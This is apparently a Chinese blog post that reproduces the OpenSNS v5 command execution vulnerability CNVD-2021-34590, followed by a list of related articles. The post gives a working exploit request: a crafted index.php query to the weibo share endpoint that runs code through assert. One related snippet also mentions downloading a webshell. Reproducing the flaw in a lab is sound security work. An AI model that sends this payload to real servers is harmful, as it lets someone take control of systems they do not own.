OpenSNS命令执行(CNVD-2021-34590)

最新推荐文章于 2026-03-28 02:21:30 发布

原创最新推荐文章于 2026-03-28 02:21:30 发布 · 927 阅读 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

收录于

当前文章被以下社区和专栏收录：

代码可运行

OpenSNSv5版本存在命令执行漏洞，攻击者可通过构造特定payload获取服务器控制权限。漏洞复现方法涉及phpinfo函数调用，建议升级至最新版本以修复此问题。

漏洞描述：

OpenSNS是想天科技开发的一款综合性社交软件。用户可以使用OpenSNS快速搭建一个类似于新浪微博一样的功能强大的社交网站。用户的社交网站也可以在微信中被访问，还支持苹果和安卓手机通过APP的形式使用。除此之外，OpenSNS还提供云市场进行功能扩展。

OpenSNS v5存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。

复现过程：

1.访问http://ip:port，出现如下页面，开始实验

2.构造payload，访问phpinfo

/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=phpinfo()

通过phpinfo可以获取到PHP 的编译选项及扩充配置、PHP 版本、服务器信息及环境变量、PHP 环境变量、操作系统版本信息、路径及环境变量配置、HTTP 标头、及版权宣告等信息，更加方便攻击者对网站进行渗透。

修复建议：

1.升级版本。

阅读完本文您可以尝试下面操作：

标签

#安全

分类信息安全与密码学

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

从ThinkPHP动态调用到RCE：OpenSNS v5远程命令执行漏洞深度剖析与复现

最新发布

weixin_29323493的博客

06-19

237

在Web应用开发中，远程命令执行（RCE）是危害性极高的安全漏洞，它允许攻击者在目标服务器上执行任意系统命令。其原理通常源于对用户输入缺乏严格过滤，导致攻击者能够通过构造恶意参数，影响应用程序的执行流，最终调用危险函数。从技术价值看，理解RCE漏洞的成因和利用链，是提升代码安全审计与防御能力的关键。这类漏洞常出现在采用动态调用机制（如通过参数动态加载类或方法）的框架中，并结合文件操作、反序列化等特性形成完整攻击路径。典型的应用场景包括内容管理系统（CMS）、Web框架插件等。本文以OpenSNS v5的CN

参与评论您还未登录，请先登录后发表或查看评论

OpenSNS远程命令执行漏洞（CNVD-2021-34590）实战分析与修复指南

blue42的博客

02-28

965

本文深入剖析了OpenSNS远程命令执行漏洞（CNVD-2021-34590）的原理与危害。该高危漏洞源于ShareController对用户输入过滤不严，允许攻击者远程执行任意代码。文章提供了漏洞复现步骤，并给出了官方升级、代码修复及部署WAF等关键修复方案，帮助管理员彻底消除安全风险。

OpenSNS开源社交系统 v5.7.0

10-14

OpenSNS一款有身份的开源SNS社交系统，包含微博、资讯、活动、论坛、专辑、积分商城、群组、充值中心、问答、分类信息、微店等模块，支持PC端、手机网页版、客户端、微信版

OpenSNS远程命令执行漏洞（CNVD-2021-34590）实战分析与修复方案

weixin_30555125的博客

03-28

416

本文深入分析了OpenSNS远程命令执行漏洞（CNVD-2021-34590）的原理与利用方式，提供了详细的漏洞复现步骤和修复方案。文章重点探讨了漏洞触发机制、关键代码问题以及高级利用技巧，并给出了官方补丁升级和临时防护措施，帮助用户有效防御此类高危漏洞。

OpenSNS开源社交系统

09-17

OpenSNS一款有“身份”的开源免费SNS社交系统，包含微博、资讯、活动、论坛、专辑、积分商城、群组、充值中心、问答、分类信息、微店等模块，支持PC端、手机网页版、客户端、微信版等多种平台，可以为客户快速搭建社交网站。2015年1月28日ThinkOX 正式更名为 OpenSNS。 OpenSNS v3.0 更新的具体内容：【修改】后台采用基于Bootstrap 3.x的高级管理控制面板主题：AdminLTE，AdminLTE - 是一个完全响应式管理模板。基于Bootstrap3框架，界面简洁清爽，易于使用。【增加】行为日志新增筛选和导出功能，可以根据行为和日期筛选自己想要的数据、导出功能也便于对数据进行处理和备份。【增加】新增排行榜，分别是粉丝排行，积分排行，连签排行和累签排行。【增加】新增签到日历，清晰跟踪记录自己的“足迹” 【增加】后台新增统计模块，包括网站统计，活跃用户统计，留存率统计，流失率统计和充值用户统计。【增加】用户组新增有效期。有效期为选填项，选择后用户组将在到期后自动关闭。便于网站开展临时或短期活动时使用。【调整】邀请机制优化，告别繁琐的操作，注册后用户即可获得专属自己的链接。【调整】公告系统优化，新版公告系统解决了无法与主题很好兼容的问题，可选择是否强制推送，强制推送的公告将以弹窗的形式推送给用户，而没有选择强制推送的公告将以系统消息的形式推送给用户，可查看有多少人，哪些人查看了公告。【调整】签到插件优化，现在签到可以绑定多事件【调整】前台UI进行了大的调整，修改了配色和主题、登录注册和微博【调整】消息系统全面升级，以会话的形式对消息进行分类，支持模板消息【调整】优化身份创建，新增身份创建向导【新增】新增全站搜素【新增】管理员现在可以修改编辑网站用户的部分资料

漏洞复现 || OpenSNS远程命令执行漏洞

失心少年

07-12

1165

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得危害网络安全，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。本文所提供的工具仅用于学习，禁止用于其他！opensns是基于tp3开发的，仅支持php5,漏洞入口在 weibo/share/sharebox,通过 get请求提交query参数,存在变量覆盖的漏洞,攻击者通过漏洞发送特定的请求包可以执行任意命令。1.执行如下POC可执行远程命令。

opensns 命令执行 （CNVD-2021-34590）漏洞复现

weixin_42675091的博客

09-23

1911

opensns 命令执行 （CNVD-2021-34590）漏洞复现

OpenSNS 远程执行任意命令漏洞

未花的博客

12-01

892

status必须等于1，值里必须要app、model、method

实战复现：OpenSNS v5远程命令执行漏洞（CNVD-2021-34590）完整利用链解析

u5v6w7的博客

02-11

637

本文深入解析OpenSNS v5远程命令执行漏洞（CNVD-2021-34590）的技术细节与利用链，提供完整的复现流程和防御策略。通过实战演示如何构造恶意请求执行任意代码，并探讨了多种绕过限制的技巧，最后给出官方修复方案和长期安全建议，帮助开发者和安全人员有效防范此类高危漏洞。

vulfocus——opensns命令执行(CNVD-2021-34590）

m0_62063669的博客

09-29

1216

此处的cmd= 只能传参1个，在使用'system'函数空格会导致执行失败，故而使用php中的copy函数直接下载webshell实现RCE。OpenSNS存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。copy(远程文件下载地址,需要下载到的地方)4.也可以通过下载webshell，用工具连接。2.发送特定请求包可以执行任意命令。3.在phpinfo找到flag。

OpenSNS漏洞修复指南：从CNVD-2021-34590看社交系统的安全加固

weixin_29208077的博客

03-05

516

本文深入剖析了OpenSNS社交系统中存在的命令执行漏洞CNVD-2021-34590，详细解释了其通过危险函数调用链实现攻击的原理。文章重点提供了一套从Web服务器层、PHP环境层到应用代码层的多层次、可落地的安全加固与临时缓解方案，并给出了漏洞检测与长期防护策略，帮助企业有效提升社交系统的安全防御能力。

从OpenSNS漏洞看PHP反序列化漏洞防御：CNVD-2021-34590漏洞深度剖析与安全开发建议

weixin_29253711的博客

03-17

489

本文深度剖析了OpenSNS远程命令执行漏洞（CNVD-2021-34590）的成因与危害，揭示了PHP反序列化漏洞的安全风险。通过构建五维防御体系，包括输入验证、危险函数禁用、安全序列化方案等，提供全面的安全开发建议，帮助开发者有效防范类似漏洞。

OpenSNS-a5

11-08

opensns源码，下载安装即可使用，可以在在代码里面编辑一系列内容

OpenSNS开源社交系统 v5.1.0

11-29

从开发者视角看OpenSNS漏洞：为什么Schedule模型会成为RCE入口？

weixin_29200741的博客

02-15

151

本文从开发者视角深入剖析了OpenSNS社交软件中一个高危远程命令执行漏洞（CNVD-2021-34590）。该漏洞的根源在于Schedule（计划任务）模型的动态调用机制存在设计缺陷，攻击者可通过精心构造的参数劫持内部验证方法，最终导致任意代码执行。文章不仅还原了完整的漏洞触发链条，更从框架设计层面探讨了安全加固方案与最佳实践，为PHP开发者提供了宝贵的代码审计与安全防护思路。

opensns综合性社交软件系统存在远程命令执行高危漏洞

weixin_68647219的博客

08-01

3752

opensns综合性社交软件系统远程命令执行高危漏洞，该漏洞是由于漏洞入口在 weibo/share/sharebox通过 get请求提交query参数存在变量覆盖，可能导致攻击者通过漏洞发送特定的请求包执行任意命令。

如何使用lamp架构快速部署Opensns微博网站

2401_84023482的博客

05-03

1134

root@localhost ~]# cat /etc/redhat-release #操作系统 Centos、 7.5。[root@localhost ~]# ls /etc/yum.repos.d/ #这里查看网络源配置，我采用的是阿里源。[root@localhost opensns_free]# ls -ld Data/ #查看权限。[root@localhost ~]# cd /var/www/html/ #添加php测试网页。

centos下OpenSNS安装成功

枝寒不栖

01-17

2919

搞了好几天了，今天终于在别人指点下完成了OpenSNS安装。感谢那些陌生的朋友！说说具体事情，首先我对LuManager不熟悉，其次，我不太清除OpenSNS的工作原理。所以在安装过程中碰到很多不懂的问题，最后一一解决还是挺有成就感。 1. 熟悉LuManager。 2. 刚开始在lumanager中解压完了OpenSNS的安装包，出现了php5.2.x版本太低，导致无法安装OpenSNS

OpenSNS开源社交系统--文件上传渗透测试复现

CNXBDSa的博客

08-19

2272

前提：在先知社区里面偶然看见了这个漏洞，咱也想试试，就下载了开源的码进行了本地的复现源码信息：OpenSNS开源版漏洞类型：后台getshell 下载地址：http://www.opensns.cn/home/index/download.html 漏洞文件：./Application/Admin/Controller/ThemeController.class.php 第170行可参考这下载安装使用https://www.w3cschool.cn/opensnscourse/laxp1pnw.htm